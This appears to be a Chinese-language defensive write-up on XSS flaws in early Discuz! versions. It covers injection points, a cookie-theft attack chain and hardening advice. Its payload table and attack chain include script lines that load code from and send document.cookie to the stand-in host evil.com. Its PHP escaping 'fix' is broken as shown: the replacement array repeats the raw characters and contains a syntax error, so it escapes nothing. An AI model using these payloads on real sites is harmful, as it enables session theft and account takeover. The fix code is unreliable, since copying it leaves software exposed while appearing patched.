⚠️ 安全警示

本文僅供安全研究、防禦加固、歷史漏洞理解之用。嚴禁用於攻擊、滲透測試未授權系統。請遵守當地法律法規與道德規範。

漏洞成因核心

Discuz! 早期版本（2.x、3.x）在多處輸出點未對使用者輸入進行過濾/轉義，直接將 subject、username、email 等參數輸出至 HTML/JS 語境，導致反射型/儲存型 XSS。

典型攻擊向量

功能點	參數	注入載荷示例	觸發條件
發文/回文	subject	<script>alert(document.cookie)</script>	瀏覽主題列表/內容頁
私訊 (PM)	username	victim"><script>alert(1)</script><b>	受害者查看私訊列表
推薦給朋友	email	a@b.c"><script src=//evil.com/xss.js></script>	受害者點擊郵件連結
投票	pollanswers[]	超出選項範圍的索引	建立空標題選項，配合其他漏洞

攻擊鏈實例：私訊 XSS 竊取 Cookie → 偽造管理員發信誘騙點擊

1. 攻擊者構造惡意 username 參數含 <script>fetch('//evil.com/?c='+document.cookie)</script>。
2. 發送私訊給目標用戶（或利用「推薦給朋友」功能偽造發信人為管理員）。
3. 受害者查看私訊/郵件，腳本執行，Cookie 發送至攻擊者伺服器。
4. 攻擊者利用竊取的 Cookie 偽造登入狀態（Cookie 劫持），接管帳號。

根本修復方案（官方補丁核心邏輯）

<?php
// 1. 輸出時統一轉義（核心）
function dhtmlspecialchars($string) {
    if (is_array($string)) {
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        $string = str_replace(['&', '"', "'", '<', '>'], 
                              ['&', '"', ''', '<', '>'], $string);
    }
    return $string;
}

// 2. 所有模板變數輸出前經過 dhtmlspecialchars
// 模板引擎自動套用：{echo dhtmlspecialchars($subject)}

// 3. 針對 URL 參數額外 urlencode
// 4. 針對 JS 語境輸出使用 json_encode
// 5. 針對 CSS/Style 使用 cssesc 或白名單驗證
?>

現代防禦最佳實踐（框架層面）

1. 模板引擎自動逃逸：Blade ({{ $var }})、Twig ({{ var|e }})、Smarty ({$var|escape}) 預設 HTML 轉義。
2. Content Security Policy (CSP)：Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; 徹底阻斷內聯腳本執行。
3. HttpOnly Cookie：session.cookie_httponly = 1 防止 JS 讀取 Session ID。
4. SameSite Cookie：session.cookie_samesite = Lax (或 Strict) 防禦 CSRF 並減輕 XSS 影響。
5. 輸入驗證 + 輸出編碼雙重防護：輸入端白名單驗證（長度、格式、字元集），輸出端語境感知編碼。
6. 定期掃描與更新：使用 OWASP ZAP、SonarQube、依賴掃描工具持續檢測。

Discuz! 具體加固清單

• 升級至最新官方版本（已修復歷史 XSS）。
• 檢查模板檔案 (template/default/*.htm) 確保變數輸出經過 {eval echo dhtmlspecialchars($var)} 或模板引擎自動逃逸。
• 關閉不必要的 HTML/UBB 標籤權限（後台 → 版塊權限 → 允許標籤）。
• 啟用 config/config_global.php 中的 $_config['security']['querysafe'] 等安全選項。
• 部署 WAF (ModSecurity + OWASP CRS) 攔截已知攻擊載荷。

結語

Discuz! 早期 XSS 漏洞是「輸出未轉義」的教科書級案例。現代 Web 安全防禦體系要求：框架級自動逃逸 + CSP + HttpOnly/SameSite Cookie + 纏繞驗證 多層次纏繞。維護舊版 Discuz! 站點者，務必套用官方補丁、部署 WAF、並規劃遷移至現代框架（如 Discuz! Q、Flarum、Discourse）以獲得持續安全更新。